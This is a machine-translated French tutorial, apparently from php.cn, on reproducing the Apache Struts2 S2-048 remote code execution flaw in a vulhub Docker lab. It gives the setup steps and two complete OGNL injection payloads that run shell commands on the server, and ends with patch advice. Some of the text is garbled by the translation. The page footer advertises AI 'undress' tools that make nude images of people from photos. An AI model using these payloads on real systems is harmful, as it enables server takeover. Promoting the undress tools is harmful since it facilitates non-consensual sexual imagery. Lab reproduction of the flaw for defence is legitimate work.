Table des matières
0x01 Vulnérabilité Présentation
Portée de l'impact 0x02
Construction de l'environnement 0x03
Récurrence de vulnérabilité 0x04
0x05 suggestions de réparation
Maison Opération et maintenance Sécurité Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048

Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048

May 12, 2023 pm 07:43 PM
struts2

0x00Introduction

Le framework Struts2 est une architecture d'application Web open source pour le développement d'applications Web Java EE. Il utilise et étend l'API Java Servlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC.

0x01 Vulnérabilité Présentation

La série Apache Struts2 2.3.x a le plug-in struts2-struts1-plugin activé et le répertoire struts2-showcase existe. La cause de la vulnérabilité est que lorsque ActionMessage reçoit des données de paramètres contrôlables par le client, l'épissage des données ultérieur est transmis. Un post-traitement inapproprié conduit à l'exécution de code arbitraire.

Portée de l'impact 0x02

Versions de la série Apache Struts 2.3.x avec le plug-in struts2-struts1-plugin activé.

Construction de l'environnement 0x03

1. Il est plus compliqué de construire Apache Struts2 par vous-même. Cet environnement de vulnérabilité est construit à l'aide de l'environnement docker de vulhub.

Adresse de téléchargement : https://github.com/vulhub/vulhub

2 Après le téléchargement, décompressez et entrez dans le répertoire s2-048, démarrez l'environnement de vulnérabilité

cd cd vulhub-master/struts2/s2-048/. //Entrez le répertoire

怎么进行Apache Struts2--048远程代码执行漏洞复现

docker-compose up -d //Démarrez le champ de tir

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Utilisez docker ps pour vérifier si le démarrage a réussi

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. ip:8080/bonjour dans le navigateur .action, vérifiez que l'environnement de la page suivante a été configuré

怎么进行Apache Struts2--048远程代码执行漏洞复现

Récurrence de vulnérabilité 0x04

1 Entrez le lien suivant dans le navigateur pour accéder à la page de vulnérabilité

http. ://192.168.3.160:8080/integration/saveGangster.action

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. Entrez ${1+1} dans le premier formulaire "Nom du gangster", entrez ce que vous voulez ci-dessous, cliquez sur Soumettre pour afficher l'OGNL exécuté. expression

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

2. Gangster Name", remplacez ${1+1} par l'instruction de charge utile exécutée par la commande suivante

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ?(#_memberAccess=#dm):((# containers=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil @class)).(#ognlUtil.getExclusivePackageNames() .clear()).(#ognlUtil.getExulatedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org .apache.commons.io.IOUtils@toString (@ java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

3. Vous pouvez également utiliser Burp pour capturer le paquet et le modifier en charge utile pour l'exécution de la commande. Déclaration

Remarque : La charge utile doit être codée en URL

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess ? (#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@ class)).(#ognlUtil.getExclusivePackageNames().clear()).(# ognlUtil.getExclusiveClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id' ).(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe' ,'/c',#cmd} :{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream (true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io .IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}

怎么进行Apache Struts2--048远程代码执行漏洞复现

怎么进行Apache Struts2--048远程代码执行漏洞复现

4. Il peut être implémenté à l'aide de scripts automatisés ou d'outils graphiques, et n'est pas démontré ici.

Les outils peuvent être recherchés et téléchargés sur GitHub

0x05 suggestions de réparation

1 Mise à niveau Il est recommandé de mettre à niveau vers la dernière version

2. Selon les conditions commerciales, désactivez et fermez (supprimez) les struts-2.3. Forfait .xappsstruts2-showcase.war

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment afficher les vulnérabilités historiques de Struts2 du point de vue de la protection Comment afficher les vulnérabilités historiques de Struts2 du point de vue de la protection May 13, 2023 pm 05:49 PM

1. Introduction La vulnérabilité Struts2 est une série classique de vulnérabilités. La cause première est que Struts2 introduit des expressions OGNL pour rendre le framework flexible et dynamique. Avec l'amélioration des correctifs du framework global, il sera désormais beaucoup plus difficile de découvrir de nouvelles vulnérabilités Struts2 qu'auparavant. À en juger par la situation actuelle, la plupart des utilisateurs ont déjà réparé les vulnérabilités historiques à haut risque. Actuellement, lors des tests d'intrusion, les vulnérabilités de Struts2 sont principalement laissées au hasard, ou il sera plus efficace d'attaquer les systèmes non corrigés après avoir été exposés à l'intranet. Les articles d'analyse en ligne analysent principalement ces vulnérabilités Struts2 du point de vue de l'attaque et de l'exploitation. En tant que nouvelle équipe d'attaque et de défense H3C, une partie de notre travail consiste à maintenir la base de règles des produits ips. Aujourd'hui, nous allons revoir ce système.

Quel est le principe du framework Struts2 Quel est le principe du framework Struts2 Jan 04, 2024 pm 01:55 PM

Le principe du framework Struts2 : 1. L'intercepteur analyse le chemin de la requête ; 2. Trouve le nom de classe complet de l'Action ; 3. Crée l'objet Action ; 5. Renvoie le résultat ; analyse. Son principe repose sur le mécanisme d'interception, qui sépare complètement le contrôleur logique métier de l'API Servlet, améliorant ainsi la réutilisabilité et la maintenabilité du code. En utilisant le mécanisme de réflexion, le framework Struts2 peut créer et gérer de manière flexible des objets Action pour traiter les demandes et les réponses.

Exemple d'analyse de la vulnérabilité Struts2 S2-001 Exemple d'analyse de la vulnérabilité Struts2 S2-001 May 15, 2023 pm 03:58 PM

Série de vulnérabilités Vulhub : vulnérabilité struts2 S2-0011 Description de la vulnérabilité : la vulnérabilité struts2 S2-001 se produit lorsque l'utilisateur soumet les données du formulaire et que la vérification échoue, le serveur utilise l'expression OGNL pour analyser la valeur du paramètre précédemment soumise par l'utilisateur, %{value} et remplit les données du formulaire correspondant. Par exemple, dans une page d’inscription ou de connexion. Si la soumission échoue, le serveur renvoie généralement par défaut les données précédemment soumises. Étant donné que le serveur utilise %{value} pour effectuer l'analyse des expressions OGNL sur les données soumises, le serveur peut directement envoyer la charge utile pour exécuter la commande. 2. Exploitation des vulnérabilités Vulhub : L'utilisation de vulhub pour reproduire des vulnérabilités peut sauver le processus de construction de l'environnement, ce qui est très pratique. vu

Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ? Comment la vulnérabilité d'exécution de code à distance Struts2 S2-059 se reproduit-elle ? May 23, 2023 pm 10:37 PM

0x00 Introduction Struts2 est un framework open source JavaWeb très puissant lancé par l'organisation logicielle Apache, qui est essentiellement équivalent à un servlet. Struts2 est basé sur l'architecture MVC et possède une structure de framework claire. Il est généralement utilisé comme contrôleur pour établir une interaction de données entre les modèles et les vues, et est utilisé pour créer des applications Web Java au niveau de l'entreprise. Il utilise et étend l'API JavaServlet et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC. vulnérabilité 0x01

Struts2-057 deux versions de l'analyse d'exemple de vulnérabilité RCE Struts2-057 deux versions de l'analyse d'exemple de vulnérabilité RCE May 15, 2023 pm 06:46 PM

Avant-propos Le 22 août 2018, Apache Strust2 a publié le dernier bulletin de sécurité. Apache Struts2 présente une vulnérabilité d'exécution de code à distance à haut risque (S2-057/CVE-2018-11776). La vulnérabilité a été découverte par ManYueMo, un chercheur en sécurité du cabinet. Équipe SemmleSecurityResearch. Cette vulnérabilité est due au fait que lors de l'utilisation de la fonction d'espace de noms pour définir la configuration XML dans le cadre de développement Struts2, la valeur de l'espace de noms n'est pas définie et n'est pas définie dans la configuration d'action de couche supérieure (ActionConfiguration) ou un espace de noms générique est utilisé. ce qui peut conduire à l’exécution de code à distance. De la même manière, tu

Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048 Comment reproduire la vulnérabilité d'exécution de code à distance Apache Struts2--048 May 12, 2023 pm 07:43 PM

0x00 Introduction Le framework Struts2 est une architecture d'application Web open source pour le développement d'applications Web JavaEE. Il utilise et étend JavaServletAPI et encourage les développeurs à adopter l'architecture MVC. Struts2 s'appuie sur les excellentes idées de conception de WebWork, absorbe certains des avantages du framework Struts et fournit un cadre d'application Web plus soigné implémenté dans le modèle de conception MVC. 0x01 Présentation de la vulnérabilité La série ApacheStruts22.3.x a le plug-in struts2-struts1-plugin activé et le répertoire struts2-showcase existe. La cause de la vulnérabilité est lorsque ActionMe.

Exemple d'analyse des risques du site framework Struts2 Exemple d'analyse des risques du site framework Struts2 May 30, 2023 pm 12:32 PM

1. Présentation Struts est un projet open source sponsorisé par Apache Software Foundation (ASF). Il a commencé comme un sous-projet du projet de Jakarta et est ensuite devenu un projet de haut niveau d'ASF. En utilisant la technologie JavaServlet/JSP, il implémente le cadre d'application [WebFramework] basé sur le modèle de conception Model-View-Controller [MVC] des applications Web JavaEE. Il s'agit d'un produit classique dans le modèle de conception classique MVC. Au début du développement des applications Web JavaEE, en plus d'utiliser la technologie Servlet, HTM était généralement utilisé dans le code source de JavaServerPages (JSP).

Exemple de rapport CNNVD sur la vulnérabilité de sécurité d'Apache Struts2 S2-057 Exemple de rapport CNNVD sur la vulnérabilité de sécurité d'Apache Struts2 S2-057 May 11, 2023 pm 08:04 PM

Actuellement, Apache a officiellement publié une mise à jour de version pour corriger la vulnérabilité. Il est recommandé aux utilisateurs de confirmer la version du produit Apache Struts à temps et, s'il est concerné, de prendre des mesures correctives en temps opportun. 1. Introduction à la vulnérabilité ApacheStruts2 est un sous-projet du projet Jakarta de l'American Apache Software Foundation. Il s'agit d'un framework d'application Web basé sur la conception MVC. Le 22 août 2018, Apache a officiellement publié la vulnérabilité de sécurité Apache Struts2S2-057 (CNNVD-201808-740, CVE-2018-11776). Lors de l'activation de la fonction pan-namespace dans le framework de développement struts2

See all articles